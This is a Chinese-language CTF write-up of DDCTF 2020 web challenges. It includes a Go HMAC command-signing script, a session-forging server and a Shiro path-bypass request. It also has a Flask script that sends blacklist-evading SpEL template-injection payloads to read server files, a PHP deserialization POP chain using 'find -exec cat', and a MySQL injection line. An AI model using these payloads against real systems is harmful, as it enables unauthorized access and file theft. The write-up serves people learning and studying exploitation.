DDCTF2020 wp和复现

之前写好了,本来想和学习爪洼的记录一起发的,结果感觉有点长,就先发这个8

还缺GMP和thymeleaf的,有时间一定.jpg

Web签到题

这题感觉蛮恶心的,一开始一个jwt 可以爆破出secret,给了个ELF,是GO语言,逆向以后猜出签名的逻辑,然后写个脚本进行签名,最后那个command的地方是SPEL表达式注入

package main

import (
	"crypto/hmac"
	"crypto/sha256"
	"encoding/base64"
	"fmt"
	"os"
	"strconv"
	"time"
)
func ComputeHmac256(message string) string {
	key := []byte("DDCTFWithYou")
	h := hmac.New(sha256.New, key)
	h.Write([]byte(message))
	return base64.StdEncoding.EncodeToString(h.Sum(nil))
}
func main() {
	t:=time.Now().Unix()
	command:=os.Args[1]
	msg:=command+"|"+strconv.Itoa(int(t))
	fmt.Println("{\"signature\":\""+ComputeHmac256(msg)+"\",\"command\":\""+command+"\",\"timestamp\":\""+strconv.Itoa(int(t))+"\"}")
}

卡片商店

golang整数溢出,之后伪造session

package main

import (
	"fmt"
	"github.com/gorilla/sessions"
	"net/http"
)

// 初始化一个cookie存储对象
var store = sessions.NewCookieStore([]byte("[email protected]"))

func main() {
	http.HandleFunc("/get", GetSession)
	err := http.ListenAndServe(":2333", nil)
	if err != nil {
		fmt.Println("HTTP server failed,err:", err)
		return
	}
}
func GetSession(w http.ResponseWriter, r *http.Request) {
	session, err := store.Get(r, "session")
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
	foo := session.Values
	session.Values["admin"]=true
	session.Save(r, w)
	fmt.Println(foo)
}

EasyWeb

javaweb,打的时候属实8会,赛后复现

shiro越权

GET /6f0887622b5e34b5c9243f3ff42eb605/;/web/img?img=WEB-INF/classes/com/ctf/controller/IndexController.class

反编译

@Controller
public class IndexController {
  @RequestMapping({"/"})
  public String index() {
    return "redirect:/index";
  }
  
  @RequestMapping({"/index"})
  public String index(Model model) {
    try {
      Subject subject = SecurityUtils.getSubject();
      User user = (User)subject.getSession().getAttribute("user");
      model.addAttribute("name", user.getUsername());
    } catch (Exception e) {
      model.addAttribute("name", "user");
    } 
    return "index";
  }
  
  @GetMapping({"/unauthorized"})
  public String unauthorized() {
    return "unauthorized";
  }
  
  @RequestMapping({"img"})
  public Object img(@RequestParam("img") String img) {
    ResponseEntity<InputStreamResource> response = null;
    try {
      ClassPathResource classPathResource = new ClassPathResource("../../" + img);
      File file = classPathResource.getFile();
      HttpHeaders headers = new HttpHeaders();
      headers.add("Cache-Control", "no-cache, no-store, must-revalidate");
      headers.add("Content-Disposition", "attachment; filename=" + 
          
          DigestUtils.md5DigestAsHex(img.getBytes()) + ".jpg");
      headers.add("Pragma", "no-cache");
      headers.add("Expires", "0");
      response = ((ResponseEntity.BodyBuilder)ResponseEntity.ok().headers(headers)).contentType(MediaType.parseMediaType("application/octet-stream")).body(new InputStreamResource(new FileInputStream(file)));
    } catch (IOException e) {
      return "forbidden";
    } 
    return response;
  }
}
  @PostMapping({"/auth"})
  public String auth(@RequestParam("username") String username, @RequestParam("password") String password, HttpSession httpSession, Model model) {
    UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password);
    Subject subject = SecurityUtils.getSubject();
    String error = null;
    try {
      subject.login((AuthenticationToken)usernamePasswordToken);
      User user = (User)subject.getPrincipal();
      httpSession.setAttribute("user", user);
      for (Role role : user.getRoles()) {
        if (role.getName().equals("admin"))
          return "redirect:./68759c96217a32d5b368ad2965f625ef/index"; 
      } 
      return "redirect:./index";
    } catch (Exception e) {
      error = "login failed!";
      model.addAttribute("error", Boolean.valueOf(true));
      model.addAttribute("msg", error);
      return "login";
    } 
  }
}

从上面的authcontroller可以看到admin的路径

另外safecontroller里面有黑名单

private static String[] blacklists = new String[] { 
      "java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", 
      "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io" };

绕过waf完全8会,wp里全靠0.class.forName(T(Character).toString(xxx).concat(T(Character).toString(xxx)).concat(T(Character).toString(xxx))),最后用的nio来读目录和文件

import re

import requests
from flask import Flask, request

app = Flask(__name__)

def requestToServer(content):
    content = '[[${{{}}}]]'.format(content)
    url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize'
    response = requests.post(url=url, data={'content': content}).text
    try:
        redirect = re.search('fetch \./(.*) !', response).group(1)
        url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/'
        url += redirect
        return requests.get(url).text
    except Exception as e:
        return str(e) + response

def toForNameOrStr(source, strFlag=False):
    res = 'T(Character).toString(%s)' % ord(source[0])
    for ch in source[1:]:
        res += '.concat(T(Character).toString(%s))' % ord(ch)
    if strFlag:
        return res
    print('0.class. forName({})'.format(res))
    return '0.class. forName({})'.format(res)


@app.route('/', methods=['GET', 'POST'])
def handler():
    content = request.args.get('content')
    dir = request.args.get('dir')
    file = request.args.get('file')
    # print(file)
    if dir:
        # 单层:java.util.Arrays.toString(java.nio.file.Files.list(java.nio.file.Paths.get("/")).toArray());
        # 递归:java.util.Arrays.toString(java.nio.file.Files.walk(java.nio.file.Paths.get("/")).toArray());
        listDirPayload = 'T(java.util.Arrays).toString({}.list({}.get({})).toArray())'.format(
            toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(dir, True))
        # print(listDirPayload)
        return requestToServer(listDirPayload)
    if file:
        # java.nio.file.Files.lines(java.nio.file.Paths.get("/flag")).findFirst().toString()
        catFilePayload = '{}.lines({}.get({})).findFirst().toString()'.format(
            toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(file, True))
        # print(catFilePayload)
        return requestToServer(catFilePayload)
    if cmd:
        cmdPayload=''
    return requestToServer(content)

if __name__ == '__main__':
    app.run(debug=True)

这里写wp的大哥没用到

Overwrite Me

这题也没出,看大佬的题解甚至不需要gmp

关键点2个

$a=[$s,'get_flag'];
$a();

这样可以执行$a->get_flag();

find xxxxxx -exec 命令 {};命令执行

<?php

class MyClass
{
    var $kw0ng;
    var $flag;

    public function __wakeup()
    {
        $this->kw0ng = 2;
    }

    public function get_flag()
    {
        return system('find /flag ' . escapeshellcmd($this->flag));
    }
}
class ShowOff
{
    public $contents;
    public $page;
    public function __construct($file='/hint/hint.php')
    {
        $this->contents = $file;
        echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
    }
    public function __toString()
    {
        return $this->contents();
    }

    public function __wakeup()
    {
        $this->page->contents = "POP me! I can give you some hints!";
        unset($this->page->cont);
    }
}
class MiddleMan
{
    private $cont;
    public $content;
    public function __construct()
    {
        $this->content = array();
    }

    public function __unset($key)
    {
        $func = $this->content;
        return $func();
    }
}
$a=new ShowOff();
$a->page=new MiddleMan();
$b=new MyClass();
$b->flag="-exec cat /HackersForever/suffix_flag.php {} ;";
$a->page->content=[$b,'get_flag'];
echo "\n";
$sb=serialize($a);
file_put_contents('result',urlencode($sb));
?>

国赛 西南赛区区域赛

没啥好写的,感觉题目有点傻逼,有一个mysql>=8.0.19的特性不知道,剩下的题好像都蛮简单

select * from test where id =0 or (1,’a’,”)<= (table user limit 1);

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注